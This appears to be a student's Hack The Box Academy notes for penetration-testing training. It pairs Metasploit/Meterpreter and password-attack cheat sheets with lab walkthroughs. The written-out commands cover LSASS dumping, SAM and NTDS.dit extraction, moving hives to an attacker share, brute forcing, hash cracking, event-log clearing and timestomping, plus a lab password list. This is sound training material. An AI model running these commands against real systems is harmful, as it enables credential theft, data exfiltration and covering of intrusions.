auxiliary Show all auxiliary modules within the Framework. search \u0026lt;name\u0026gt; Search for exploits or modules within the Framework. info Load information about a specific exploit or module. use \u0026lt;name\u0026gt; Load an exploit or module (example: use windows/smb/psexec). use \u0026lt;number\u0026gt; Load an exploit by using the index number displayed after the search \u0026lt;name\u0026gt; command. LHOST Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. RHOST The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). setg \u0026lt;function\u0026gt; Set a specific value globally (for example, LHOST or RHOST). show options Show the options available for a module or exploit. show targets Show the platforms supported by the exploit. set target \u0026lt;number\u0026gt; Specify a specific target index if you know the OS and service pack. set payload \u0026lt;payload\u0026gt; Specify the payload to use. set payload \u0026lt;number\u0026gt; Specify the payload index number to use after the show payloads command. show advanced Show advanced options. set autorunscript migrate -f Automatically migrate to a separate process upon exploit completion. check Determine whether a target is vulnerable to an attack. exploit Execute the module or exploit and attack the target. exploit -j Run the exploit under the context of the job. (This will run the exploit in the background.) exploit -z Do not interact with the session after successful exploitation. exploit -e \u0026lt;encoder\u0026gt; Specify the payload encoder to use (example: exploit –e shikata_ga_nai). exploit -h Display help for the exploit command. sessions -l List available sessions (used when handling multiple shells). sessions -l -v List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. sessions -s \u0026lt;script\u0026gt; Run a specific Meterpreter script on all Meterpreter live sessions. sessions -K Kill all live sessions. sessions -c \u0026lt;cmd\u0026gt; Execute a command on all live Meterpreter sessions. sessions -u \u0026lt;sessionID\u0026gt; Upgrade a normal Win32 shell to a Meterpreter console. db_create \u0026lt;name\u0026gt; Create a database to use with database-driven attacks (example: db_create autopwn). db_connect \u0026lt;name\u0026gt; Create and connect to a database for driven attacks (example: db_connect autopwn). db_nmap Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.) db_destroy Delete the current database. db_destroy \u0026lt;user:password@host:port/database\u0026gt; Delete database using advanced options. Meterpreter Commands\nCommand Description help Open Meterpreter usage help. run \u0026lt;scriptname\u0026gt; Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. sysinfo Show the system information on the compromised target. ls List the files and folders on the target. use priv Load the privilege extension for extended Meterpreter libraries. ps Show all running processes and which accounts are associated with each process. migrate \u0026lt;proc. id\u0026gt; Migrate to the specific process ID (PID is the target process ID gained from the ps command). use incognito Load incognito functions. (Used for token stealing and impersonation on a target machine.) list_tokens -u List available tokens on the target by user. list_tokens -g List available tokens on the target by group. impersonate_token \u0026lt;DOMAIN_NAMEUSERNAME\u0026gt; Impersonate a token available on the target. steal_token \u0026lt;proc. id\u0026gt; Steal the tokens available for a given process and impersonate that token. drop_token Stop impersonating the current token. getsystem Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. shell Drop into an interactive shell with all available tokens. execute -f \u0026lt;cmd.exe\u0026gt; -i Execute cmd.exe and interact with it. execute -f \u0026lt;cmd.exe\u0026gt; -i -t Execute cmd.exe with all available tokens. execute -f \u0026lt;cmd.exe\u0026gt; -i -H -t Execute cmd.exe with all available tokens and make it a hidden process. rev2self Revert back to the original user you used to compromise the target. reg \u0026lt;command\u0026gt; Interact, create, delete, query, set, and much more in the target’s registry. setdesktop \u0026lt;number\u0026gt; Switch to a different screen based on who is logged in. screenshot Take a screenshot of the target’s screen. upload \u0026lt;filename\u0026gt; Upload a file to the target. download \u0026lt;filename\u0026gt; Download a file from the target. keyscan_start Start sniffing keystrokes on the remote target. keyscan_dump Dump the remote keys captured on the target. keyscan_stop Stop sniffing keystrokes on the remote target. getprivs Get as many privileges as possible on the target. uictl enable \u0026lt;keyboard/mouse\u0026gt; Take control of the keyboard and/or mouse. background Run your current Meterpreter shell in the background. hashdump Dump all hashes on the target. use sniffer Load the sniffer module. sniffer_interfaces List the available interfaces on the target. sniffer_dump \u0026lt;interfaceID\u0026gt; pcapname Start sniffing on the remote target. sniffer_start \u0026lt;interfaceID\u0026gt; packet-buffer Start sniffing with a specific range for a packet buffer. sniffer_stats \u0026lt;interfaceID\u0026gt; Grab statistical information from the interface you are sniffing. sniffer_stop \u0026lt;interfaceID\u0026gt; Stop the sniffer. add_user \u0026lt;username\u0026gt; \u0026lt;password\u0026gt; -h \u0026lt;ip\u0026gt; Add a user on the remote target. add_group_user \u0026lt;\u0026quot;Domain Admins\u0026quot;\u0026gt; \u0026lt;username\u0026gt; -h \u0026lt;ip\u0026gt; Add a username to the Domain Administrators group on the remote target. clearev Clear the event log on the target machine. timestomp Change file attributes, such as creation date (antiforensics measure). reboot Reboot the target machine. Complete Link of Completion\nPassword attacks Credential storage Linux\nroot@htb:~# cat /etc/shadow ...SNIP... htb-student:$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:18955:0:99999:7::: \u0026lt;username\u0026gt;:\u0026lt;encrypted password\u0026gt;:\u0026lt;day of last change\u0026gt;:\u0026lt;min age\u0026gt;:\u0026lt;max age\u0026gt;:\u0026lt;warning period\u0026gt;:\u0026lt;inactivity period\u0026gt;:\u0026lt;expiration date\u0026gt;:\u0026lt;reserved field\u0026gt; The type (id) is the cryptographic hash method used to encrypt the password. Many different cryptographic hash methods were used in the past and are still used by some systems today.\nID Cryptographic Hash Algorithm $1$ MD5 $2a$ Blowfish $5$ SHA-256 $6$ SHA-512 $sha1$ SHA1crypt $y$ Yescrypt $gy$ Gost-yescrypt $7$ Scrypt Windows Authentication Process Local interactive logon is performed by the interaction between the logon process (WinLogon ), the logon user interface process (LogonUI), the credential providers, LSASS, one or more authentication packages, and SAM or Active Directory. Authentication packages, in this case, are the Dynamic-Link Libraries (DLLs) that perform authentication checks. For example, for non-domain joined and interactive logins, the authentication package Msv1_0.dll is used.\nWinlogon is a trusted process responsible for managing security-related user interactions. These include:\nLaunching LogonUI to enter passwords at login\nChanging passwords\nLocking and unlocking the workstation\nIt relies on credential providers installed on the system to obtain a user\u0026rsquo;s account name or password. Credential providers are COM objects that are located in DLLs.\nWinlogon is the only process that intercepts login requests from the keyboard sent via an RPC message from Win32k.sys. Winlogon immediately launches the LogonUI application at logon to display the user interface for logon. After Winlogon obtains a user name and password from the credential providers, it calls LSASS to authenticate the user attempting to log in.\nLSASS\nLocal Security Authority Subsystem Service (LSASS) is a collection of many modules and has access to all authentication processes that can be found in %SystemRoot%\\System32\\Lsass.exe. This service is responsible for the local system security policy, user authentication, and sending security audit logs to the Event log. In other words, it is the vault for Windows-based operating systems, and we can find a more detailed illustration of the LSASS architecture here.\nAuthentication Package Description Lsasrv.dll The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful. Msv1_0.dll Authentication package for local machine logons that don\u0026rsquo;t require custom authentication. Samsrv.dll The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs. Kerberos.dll Security package loaded by the LSA for Kerberos-based authentication on a machine. Netlogon.dll Network-based logon service. Ntdsa.dll This library is used to create new records and folders in the Windows registry. SAM\nThe Security Account Manager (SAM) is a database file in Windows operating systems that stores users\u0026rsquo; passwords. It can be used to authenticate local and remote users. SAM uses cryptographic measures to prevent unauthenticated users from accessing the system. User passwords are stored in a hash format in a registry structure as either an LM hash or an NTLM hash. This file is located in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. SYSTEM level permissions are required to view it.\nWindows systems can be assigned to either a workgroup or domain during setup. If the system has been assigned to a workgroup, it handles the SAM database locally and stores all existing users locally in this database. However, if the system has been joined to a domain, the Domain Controller (DC) must validate the credentials from the Active Directory database (ntds.dit), which is stored in %SystemRoot%\\ntds.dit.\nMicrosoft introduced a security feature in Windows NT 4.0 to help improve the security of the SAM database against offline software cracking. This is the SYSKEY (syskey.exe) feature, which, when enabled, partially encrypts the hard disk copy of the SAM file so that the password hash values for all local accounts stored in the SAM are encrypted with a key.\nNTDS\nIt is very common to come across network environments where Windows systems are joined to a Windows domain. This is common because it makes it easier for admins to manage all the systems owned by their respective organizations (centralized management). In these cases, the Windows systems will send all logon requests to Domain Controllers that belong to the same Active Directory forest. Each Domain Controller hosts a file called NTDS.dit that is kept synchronized across all Domain Controllers with the exception of Read-Only Domain Controllers. NTDS.dit is a database file that stores the data in Active Directory, including but not limited to:\nUser accounts (username \u0026amp; password hash) Group accounts Computer accounts Group policy objects Cheatsheet Connecting to Target\nCommand Description xfreerdp /v:\u0026lt;ip\u0026gt; /u:htb-student /p:HTB_@cademy_stdnt! CLI-based tool used to connect to a Windows target using the Remote Desktop Protocol. evil-winrm -i \u0026lt;ip\u0026gt; -u user -p password Uses Evil-WinRM to establish a Powershell session with a target. ssh user@\u0026lt;ip\u0026gt; Uses SSH to connect to a target using a specified user. smbclient -U user \\\\\\\\\u0026lt;ip\u0026gt;\\\\SHARENAME Uses smbclient to connect to an SMB share using a specified user. python3 smbserver.py -smb2support CompData /home/\u0026lt;nameofuser\u0026gt;/Documents/ Uses smbserver.py to create a share on a linux-based attack host. Can be useful when needing to transfer files from a target to an attack host. Password Mutations\nCommand Description cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist Uses cewl to generate a wordlist based on keywords present on a website. hashcat --force password.list -r custom.rule --stdout \u0026gt; mut_password.list Uses Hashcat to generate a rule-based word list. ./username-anarchy -i /path/to/listoffirstandlastnames.txt Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username. curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep \u0026quot;\\.\u0026quot; | tee -a compressed_ext.txt Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords. Remote Password Attacks\nCommand Description crackmapexec winrm \u0026lt;ip\u0026gt; -u user.list -p password.list Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target. crackmapexec smb \u0026lt;ip\u0026gt; -u \u0026quot;user\u0026quot; -p \u0026quot;password\u0026quot; --shares Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials. hydra -L user.list -P password.list \u0026lt;service\u0026gt;://\u0026lt;ip\u0026gt; Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service. hydra -l username -P password.list \u0026lt;service\u0026gt;://\u0026lt;ip\u0026gt; Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service. hydra -L user.list -p password \u0026lt;service\u0026gt;://\u0026lt;ip\u0026gt; Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service. hydra -C \u0026lt;user_pass.list\u0026gt; ssh://\u0026lt;IP\u0026gt; Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack. crackmapexec smb \u0026lt;ip\u0026gt; --local-auth -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; --sam Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network. crackmapexec smb \u0026lt;ip\u0026gt; --local-auth -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; --lsa Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way. crackmapexec smb \u0026lt;ip\u0026gt; -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; --ntds Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network. evil-winrm -i \u0026lt;ip\u0026gt; -u Administrator -H \u0026quot;\u0026lt;passwordhash\u0026gt;\u0026quot; Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack. Windows Local Password Attacks\nCommand Description tasklist /svc A command-line-based utility in Windows used to list running processes. findstr /SIM /C:\u0026quot;password\u0026quot; *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml Uses Windows command-line based utility findstr to search for the string \u0026ldquo;password\u0026rdquo; in many different file type. Get-Process lsass A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line. rundll32 C:\\windows\\system32\\comsvcs.dll, MiniDump 672 C:\\lsass.dmp full Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials. pypykatz lsa minidump /path/to/lsassdumpfile Uses Pypykatz to parse and attempt to extract credentials \u0026amp; password hashes from an LSASS process memory dump file. reg.exe save hklm\\sam C:\\sam.save Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\\sam, hklm\\security, hklm\\system). move sam.save \\\\\u0026lt;ip\u0026gt;\\NameofFileShare Uses move in Windows to transfer a file to a specified file share over the network. python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL Uses Secretsdump.py to dump password hashes from the SAM database. vssadmin CREATE SHADOW /For=C: Uses Windows command line based tool vssadmin to create a volume shadow copy for C:. This can be used to make a copy of NTDS.dit safely. cmd.exe /c copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2\\Windows\\NTDS\\NTDS.dit c:\\NTDS\\NTDS.dit Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C:. Linux Local Password Attacks\nCommand Description for l in $(echo \u0026quot;.conf .config .cnf\u0026quot;);do echo -e \u0026quot;\\nFile extension: \u0026quot; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026quot;lib|fonts|share|core\u0026quot; ;done Script that can be used to find .conf, .config and .cnf files on a Linux system. for i in $(find / -name *.cnf 2\u0026gt;/dev/null | grep -v \u0026quot;doc|lib\u0026quot;);do echo -e \u0026quot;\\nFile: \u0026quot; $i; grep \u0026quot;user|password|pass\u0026quot; $i 2\u0026gt;/dev/null | grep -v \u0026quot;\\#\u0026quot;;done Script that can be used to find credentials in specified file types. for l in $(echo \u0026quot;.sql .db .*db .db*\u0026quot;);do echo -e \u0026quot;\\nDB File extension: \u0026quot; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026quot;doc|lib|headers|share|man\u0026quot;;done Script that can be used to find common database files. find /home/* -type f -name \u0026quot;*.txt\u0026quot; -o ! -name \u0026quot;*.*\u0026quot; Uses Linux-based find command to search for text files. for l in $(echo \u0026quot;.py .pyc .pl .go .jar .c .sh\u0026quot;);do echo -e \u0026quot;\\nFile extension: \u0026quot; $l; find / -name *$l 2\u0026gt;/dev/null | grep -v \u0026quot;doc|lib|headers|share\u0026quot;;done Script that can be used to search for common file types used with scripts. for ext in $(echo \u0026quot;.xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*\u0026quot;);do echo -e \u0026quot;\\nFile extension: \u0026quot; $ext; find / -name *$ext 2\u0026gt;/dev/null | grep -v \u0026quot;lib|fonts|share|core\u0026quot; ;done Script used to look for common types of documents. cat /etc/crontab Uses Linux-based cat command to view the contents of crontab in search for credentials. ls -la /etc/cron.*/ Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory. grep -rnw \u0026quot;PRIVATE KEY\u0026quot; /* 2\u0026gt;/dev/null | grep \u0026quot;:1\u0026quot; Uses Linux-based command grep to search the file system for key terms PRIVATE KEY to discover SSH keys. grep -rnw \u0026quot;PRIVATE KEY\u0026quot; /home/* 2\u0026gt;/dev/null | grep \u0026quot;:1\u0026quot; Uses Linux-based grep command to search for the keywords PRIVATE KEY within files contained in a user\u0026rsquo;s home directory. grep -rnw \u0026quot;ssh-rsa\u0026quot; /home/* 2\u0026gt;/dev/null | grep \u0026quot;:1\u0026quot; Uses Linux-based grep command to search for keywords ssh-rsa within files contained in a user\u0026rsquo;s home directory. tail -n5 /home/*/.bash* Uses Linux-based tail command to search the through bash history files and output the last 5 lines. python3 mimipenguin.py Runs Mimipenguin.py using python3. bash mimipenguin.sh Runs Mimipenguin.sh using bash. python2.7 lazagne.py all Runs Lazagne.py with all modules using python2.7 ls -l .mozilla/firefox/ | grep default Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword default using grep. cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . Uses Linux-based command cat to search for credentials stored by Firefox in JSON. python3.9 firefox_decrypt.py Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9. python3 lazagne.py browsers Runs Lazagne.py browsers module using Python 3. Cracking Passwords\nCommand Description hashcat -m 1000 dumpedhashes.txt /usr/share/wordlists/rockyou.txt Uses Hashcat to crack NTLM hashes using a specified wordlist. hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt --show Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output. unshadow /tmp/passwd.bak /tmp/shadow.bak \u0026gt; /tmp/unshadowed.hashes Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking. hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked. hashcat -m 500 -a 0 md5-hashes.list rockyou.txt Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file. hashcat -m 22100 backup.hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt -o backup.cracked Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked. ssh2john.pl SSH.private \u0026gt; ssh.hash Runs Ssh2john.pl script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash. john ssh.hash --show Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal. office2john.py Protected.docx \u0026gt; protected-docx.hash Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash. john --wordlist=rockyou.txt protected-docx.hash Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash. pdf2john.pl PDF.pdf \u0026gt; pdf.hash Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked. john --wordlist=rockyou.txt pdf.hash Runs John in conjunction with a wordlist to crack a pdf hash. zip2john ZIP.zip \u0026gt; zip.hash Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash. john --wordlist=rockyou.txt zip.hash Uses John in conjunction with a wordlist to crack the hashes contained in zip.hash. bitlocker2john -i Backup.vhd \u0026gt; backup.hashes Uses Bitlocker2john script to extract hashes from a VHD file and directs the output to a file called backup.hashes. file GZIP.gzip Uses the Linux-based file tool to gather file format information. for i in $(cat rockyou.txt);do openssl enc -aes-256-cbc -d -in GZIP.gzip -k $i 2\u0026gt;/dev/null | tar xz;done Script that runs a for-loop to extract files from an archive. Complete Link of Completion\nAttaking Common Services Interacting with Common Services SMB FTP Email Databases smbclient ftp Thunderbird mssql-cli CrackMapExec lftp Claws mycli SMBMap ncftp Geary mssqlclient.py Impacket filezilla MailSpring dbeaver psexec.py crossftp mutt MySQL Workbench smbexec.py mailutils SQL Server Management Studio or SSMS sendEmail swaks sendmail SMB Naming Resolution When a user or a system tries to perform a Name Resolution (NR), a series of procedures are conducted by a machine to retrieve a host\u0026rsquo;s IP address by its hostname. On Windows machines, the procedure will roughly be as follows:\nThe hostname file share\u0026rsquo;s IP address is required. The local host file (C:\\Windows\\System32\\Drivers\\etc\\hosts) will be checked for suitable records. If no records are found, the machine switches to the local DNS cache, which keeps track of recently resolved names. Is there no local DNS record? A query will be sent to the DNS server that has been configured. If all else fails, the machine will issue a multicast query, requesting the IP address of the file share from other machines on the network. MSSQL Attacks Identify Users to Impersonate SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = \u0026lsquo;IMPERSONATE\u0026rsquo; GO\nVerifying our Current User and Role SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(\u0026lsquo;sysadmin\u0026rsquo;) go\nImpersonate EXECUTE AS LOGIN = \u0026lsquo;john\u0026rsquo; SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER(\u0026lsquo;sysadmin\u0026rsquo;) GO\nIdentify Linked Servers SELECT srvname, isremote FROM sysservers go\nRun Command on linked EXECUTE(\u0026lsquo;select @@servername, @@version, system_user, is_srvrolemember(\u0026lsquo;\u0026lsquo;sysadmin\u0026rsquo;\u0026rsquo;)\u0026rsquo;) AT [10.0.0.12\\SQLEXPRESS] go\nAttacking Common Services - Easy Host: 10.129.45.215\n┌─[us-academy-2]─[10.10.14.187]─[htb-ac-713396@htb-ckpvnzbf3p]─[~] └──╼ [★]$ sudo nmap -A -T5 10.129.203.7 Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-23 15:27 GMT Nmap scan report for 10.129.203.7 Host is up (0.0050s latency). Not shown: 993 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp | fingerprint-strings: | GenericLines: | 220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered | Command unknown, not supported or not allowed... | Command unknown, not supported or not allowed... | NULL: |_ 220 Core FTP Server Version 2.0, build 725, 64-bit Unregistered 25/tcp open smtp hMailServer smtpd | smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 80/tcp open http Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29) |_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29 | http-title: Welcome to XAMPP |_Requested resource was http://10.129.203.7/dashboard/ 443/tcp open https? | ssl-cert: Subject: commonName=Test/organizationName=Testing/stateOrProvinceName=FL/countryName=US | Not valid before: 2022-04-21T19:27:17 |_Not valid after: 2032-04-18T19:27:17 587/tcp open smtp hMailServer smtpd | smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 3306/tcp open mysql MySQL 5.5.5-10.4.24-MariaDB | mysql-info: | Protocol: 10 | Version: 5.5.5-10.4.24-MariaDB | Thread ID: 11 | Capabilities flags: 63486 | Some Capabilities: DontAllowDatabaseTableColumn, Speaks41ProtocolOld, Support41Auth, SupportsLoadDataLocal, ODBCClient, ConnectWithDatabase, LongColumnFlag, FoundRows, InteractiveClient, SupportsCompression, Speaks41ProtocolNew, IgnoreSigpipes, SupportsTransactions, IgnoreSpaceBeforeParenthesis, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults |_ Auth Plugin Name: mysql_native_password 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: WIN-EASY | NetBIOS_Domain_Name: WIN-EASY | NetBIOS_Computer_Name: WIN-EASY | DNS_Domain_Name: WIN-EASY | DNS_Computer_Name: WIN-EASY | Product_Version: 10.0.17763 |_ System_Time: 2024-02-23T15:28:23+00:00 |_ssl-date: 2024-02-23T15:28:31+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=WIN-EASY | Not valid before: 2024-02-22T15:27:20 |_Not valid after: 2024-08-23T15:27:20 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Timing level 5 (Insane) used No OS matches for host Network Distance: 2 hops Service Info: Host: WIN-EASY; OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 25/tcp) HOP RTT ADDRESS 1 7.99 ms 10.10.14.1 2 7.29 ms 10.129.203.7 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 39.96 seconds ┌─[us-academy-2]─[10.10.14.187]─[htb-ac-713396@htb-ckpvnzbf3p]─[~] └──╼ [★]$ smtp-user-enum -M RCPT -U users.list -D inlanefreight.htb -t 10.129.220.215 fiona@inlanefreight.htb ┌─[us-academy-2]─[10.10.14.187]─[htb-ac-713396@htb-ckpvnzbf3p]─[~] └──╼ [★]$ hydra -l \u0026#34;fiona@inlanefreight.htb\u0026#34; -P /usr/share/wordlists/rockyou.txt smtp://10.129.220.215 -f -t64 [25][smtp] host: 10.129.45.212 login: fiona@inlanefreight.htb password: 987654321 ┌─[us-academy-2]─[10.10.14.187]─[htb-ac-713396@htb-ckpvnzbf3p]─[~] └──╼ [★]$ mysql -u fiona -p987654321 -h 10.129.220.215 MariaDB [mysql]\u0026gt; select user,password from user; +-------+-------------------------------------------+ | User | Password | +-------+-------------------------------------------+ | root | | | fiona | *DABCF719388B72AD432DE5E88423B56D652DD8B0 | | root | | | root | | | pma | | +-------+-------------------------------------------+ 5 rows in set (0.004 sec) MariaDB [mysql]\u0026gt; select LOAD_FILE(\u0026#39;c://users/administrator/desktop/flag.txt\u0026#39;); +-------------------------------------------------------+ | LOAD_FILE(\u0026#39;c://users/administrator/desktop/flag.txt\u0026#39;) | +-------------------------------------------------------+ | HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49} | +-------------------------------------------------------+ 1 row in set (0.087 sec) flag: HTB{t#3r3_4r3_tw0_w4y$_t0_93t_t#3_fl49}\nAttacking Common Services - Medium Host: 10.129.88.133\n┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~/Sublist3r/subbrute] └──╼ [★]$ sudo nmap -sC -sV 10.129.88.133 -p- Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-01 14:02 GMT Nmap scan report for 10.129.88.133 Host is up (0.037s latency). Not shown: 64964 closed tcp ports (reset), 565 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 7108b0c4f3ca9757649770f9fec50c7b (RSA) | 256 45c3b51463993d9eb32251e59776e150 (ECDSA) |_ 256 2ec2416646efb68195d5aa3523945538 (ED25519) 53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.16.1-Ubuntu 110/tcp open pop3 Dovecot pop3d |_ssl-date: TLS randomness does not represent time |_pop3-capabilities: PIPELINING STLS RESP-CODES CAPA AUTH-RESP-CODE UIDL TOP USER SASL(PLAIN) | ssl-cert: Subject: commonName=ubuntu | Subject Alternative Name: DNS:ubuntu | Not valid before: 2022-04-11T16:38:55 |_Not valid after: 2032-04-08T16:38:55 995/tcp open ssl/pop3 Dovecot pop3d |_pop3-capabilities: PIPELINING CAPA AUTH-RESP-CODE RESP-CODES UIDL TOP USER SASL(PLAIN) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=ubuntu | Subject Alternative Name: DNS:ubuntu | Not valid before: 2022-04-11T16:38:55 |_Not valid after: 2032-04-08T16:38:55 2121/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (InlaneFTP) [10.129.88.133] | Invalid command: try being more creative |_ Invalid command: try being more creative 30021/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (Internal FTP) [10.129.88.133] | Invalid command: try being more creative |_ Invalid command: try being more creative 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port2121-TCP:V=7.93%I=7%D=3/1%Time=65E1E035%P=x86_64-pc-linux-gnu%r(Gen SF:ericLines,8C,\u0026#34;220\\x20ProFTPD\\x20Server\\x20\\(InlaneFTP\\)\\x20\\[10\\.129\\.8 SF:8\\.133\\]\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20creat SF:ive\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20creative\\r SF:\\n\u0026#34;); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port30021-TCP:V=7.93%I=7%D=3/1%Time=65E1E035%P=x86_64-pc-linux-gnu%r(Ge SF:nericLines,8F,\u0026#34;220\\x20ProFTPD\\x20Server\\x20\\(Internal\\x20FTP\\)\\x20\\[10\\ SF:.129\\.88\\.133\\]\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x SF:20creative\\r\\n500\\x20Invalid\\x20command:\\x20try\\x20being\\x20more\\x20cre SF:ative\\r\\n\u0026#34;); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 153.29 seconds ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~/Sublist3r/subbrute] └──╼ [★]$ ftp 10.129.88.133 30021 Connected to 10.129.88.133. 220 ProFTPD Server (Internal FTP) [10.129.88.133] Name (10.129.88.133:root): anonymous 331 Anonymous login ok, send your complete email address as your password Password: 230 Anonymous access granted, restrictions apply Remote system type is UNIX. Using binary mode to transfer files. ftp\u0026gt; ls 200 PORT command successful 150 Opening ASCII mode data connection for file list drwxr-xr-x 2 ftp ftp 4096 Apr 18 2022 simon 226 Transfer complete ftp\u0026gt; cd simon 250 CWD command successful ftp\u0026gt; ls 200 PORT command successful 150 Opening ASCII mode data connection for file list -rw-rw-r-- 1 ftp ftp 153 Apr 18 2022 mynotes.txt 226 Transfer complete ftp\u0026gt; get mynotes.txt local: mynotes.txt remote: mynotes.txt 200 PORT command successful 150 Opening BINARY mode data connection for mynotes.txt (153 bytes) 226 Transfer complete 153 bytes received in 0.02 secs (7.6804 kB/s) ftp\u0026gt; ┌─[us-academy-2]─[10.10.14.179]─[htb-ac-713396@htb-mziude0vvw]─[~/Sublist3r/subbrute] └──╼ [★]$ cat mynotes.txt 234987123948729384293 +23358093845098 ThatsMyBigDog Rock!ng#May Puuuuuh7823328 8Ns8j1b!23hs4921smHzwn 237oHs71ohls18H127!!9skaP 238u1xjn1923nZGSb261Bs81 